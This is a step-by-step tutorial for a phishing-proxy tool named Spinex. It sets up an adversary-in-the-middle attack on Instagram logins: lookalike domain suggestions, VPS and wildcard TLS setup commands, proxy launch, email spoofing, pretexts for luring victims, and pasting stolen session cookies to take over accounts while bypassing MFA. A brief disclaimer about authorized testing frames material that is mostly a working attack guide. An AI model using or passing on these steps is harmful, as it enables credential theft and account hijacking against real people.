⚠️ This tool is intended for authorized penetration testing and security research only. Using this against systems or accounts without explicit written permission is illegal. The authors are not responsible for any misuse.
This tutorial covers a full end-to-end Instagram AiTM (Adversary-in-the-Middle) attack using Spinex. The proxy sits between the victim and Instagram's real login page, capturing session cookies and credentials in real time — bypassing MFA entirely.
Victim browser
│
│ HTTPS (your real cert for instagram.yourdomain.com)
▼
Your Spinex proxy server
│
│ HTTPS (real Instagram cert)
▼
www.instagram.com
| Requirement | Notes |
|---|---|
| Linux VPS | Ubuntu 22.04+ recommended. DigitalOcean, Vultr, Hetzner (~$5/mo) |
| Domain name | Any registrar. .xyz costs ~$1/year on Porkbun/Namecheap |
| DNS provider with API | Cloudflare (free) is easiest for wildcard cert automation |
| Python 3.10+ | On the VPS |
| mitmproxy | pip install mitmproxy |
| certbot + cloudflare plugin | pip install certbot certbot-dns-cloudflare |
-
Register a convincing lookalike domain on Porkbun or Namecheap. Examples:
instagram-securelogin.com ig-account-verify.com meta-login-portal.com -
In your domain registrar, set the nameservers to Cloudflare:
ns1.cloudflare.com ns2.cloudflare.com -
In Cloudflare dashboard → your domain → DNS → Add records:
Type Name Content Proxy status A @ <your VPS IP> DNS only (grey cloud) A * <your VPS IP> DNS only (grey cloud)The wildcard
*record covers all subdomains automatically. -
Verify DNS propagation:
nslookup instagram.yourdomain.com # Should return your VPS IP
SSH into your VPS and install dependencies:
# Update system
apt update && apt upgrade -y
# Install Python and pip
apt install python3 python3-pip git -y
# Install mitmproxy
pip3 install mitmproxy psutil
# Install certbot with Cloudflare DNS plugin
pip3 install certbot certbot-dns-cloudflare
# Clone Spinex
git clone https://github.com/vibebhavv/Spinex.git
cd Spinex
# Install Spinex requirements
pip3 install -r requirements.txt- Go to dash.cloudflare.com → My Profile → API Tokens
- Click Create Token
- Use template Edit zone DNS
- Under Zone Resources → select your domain
- Click Continue to summary → Create Token
- Copy the token — you only see it once
Start the Streamlit dashboard on your VPS:
streamlit run app.py --server.address 0.0.0.0 --server.port 8501Open http://<your-vps-ip>:8501 in your browser.
| Field | Value |
|---|---|
| Base domain | yourdomain.com |
| Server IP | <your VPS IP> |
| ACME email | Your email (for Let's Encrypt notifications) |
| Platforms | |
| Proxy port | 443 |
Click 💾 Save configuration.
Still on AiTM Config, click Run DNS check — all subdomains should show ✅ OK. If any show ❌, wait a few minutes for DNS propagation and try again.
- Go to 🔒 TLS Certificate page
- Click 🆕 Fetch new cert tab
- Select ☁️ Cloudflare as DNS provider
- Paste your Cloudflare API token
- Leave propagation seconds at 60
- Click 🚀 Fetch certificate
This automatically:
- Calls Let's Encrypt ACME API
- Creates a DNS TXT record via Cloudflare API to prove domain ownership
- Downloads a wildcard cert for
*.yourdomain.com - Builds the combined PEM for mitmproxy
You should see:
✅ Certificate fetched successfully!
✅ Combined PEM written to creds/combined-cert.pem
The cert status cards should show:
Cert on disk: YES Status: VALID Days left: 89 mitmproxy PEM: READY
- Go to ⚡ Proxy Launcher
- Check all pre-flight items show ✅ green:
✓ Base domain: yourdomain.com ✓ Platforms: instagram ✓ Certificate: /etc/letsencrypt/live/yourdomain.com/fullchain.pem ✓ Combined PEM: creds/combined-cert.pem ✓ aitm_addon.py found ✓ mitmdump: mitmproxy x.x.x - Click 🚀 Start proxy
- Status pill turns green:
● PROXY RUNNING - The active domain map shows:
www.instagram.com → instagram.yourdomain.com i.instagram.com → instagram-2.yourdomain.com
Your proxy is now live on port 443.
The phishing URL is your proxy subdomain — the victim visits this instead of Instagram:
https://instagram.yourdomain.com
This loads the real Instagram login page proxied through your server. The victim sees a valid HTTPS padlock (your real Let's Encrypt cert).
Delivery methods:
- Email (use Spinex's 📨 Email Spoofer page to craft a convincing email)
- Direct message
- SMS
- Fake Instagram security alert email
Convincing pretexts:
- "Unusual login detected — verify your account"
- "Your account has been reported — log in to appeal"
- "Enable two-factor authentication to secure your account"
- Open 🎯 Live Sessions
- Enable Auto-refresh toggle
- When victim clicks your link and logs in, a session appears within seconds
Session status progression:
new → (victim visits page)
active → (victim submits credentials)
captured → (Instagram issues session cookies — MFA bypassed)
When status reaches CAPTURED, expand the session to see:
Username · username → victim_username
Password · password → victim_password
sessionid → <Instagram session token>
ds_user_id → <victim user ID>
csrftoken → <CSRF token>
Copy the DevTools-ready string at the bottom:
sessionid=ABC123; ds_user_id=123456789; csrftoken=XYZ
- Open Chrome DevTools on
https://www.instagram.com→ Application → Cookies - Delete existing cookies
- Paste the stolen cookies one by one
- Refresh the page — you are now logged in as the victim
After the engagement:
- Stop the proxy — 🛑 Stop proxy in Proxy Launcher
- Delete captured sessions from the dashboard — check sessions → 🗑️ Delete
- Revoke the Cloudflare API token (Cloudflare dashboard → API Tokens → Revoke)
- Document findings for your penetration testing report
| Issue | Fix |
|---|---|
| Victim sees certificate warning | DNS not pointing to your server, or cert fetch failed — recheck Step 5 |
Client TLS handshake failed in proxy log |
Combined PEM missing or wrong — redo Step 5 |
| Sessions not appearing | Check proxy log for errors — addon may not be loading |
| Instagram blocks the proxy | Instagram detects automated traffic — try adding browser headers to aitm_addon.py |
| Cert expiry warning | Go to TLS Certificate → Renew existing |
Spinex/
├── app.py ← stays at root (entry point)
├── server.py ← stays at root
├── requirements.txt
├── spinex_config.json
├── spinex_state.json
├── assets/
├── creds/
└── aitm/
├── __init__.py
├── aitm_addon.py
├── config_manager.py
├── cert_manager.py
├── proxy_launcher.py
├── config_page.py
├── cert_page.py
├── proxy_page.py
└── session_viewer.py
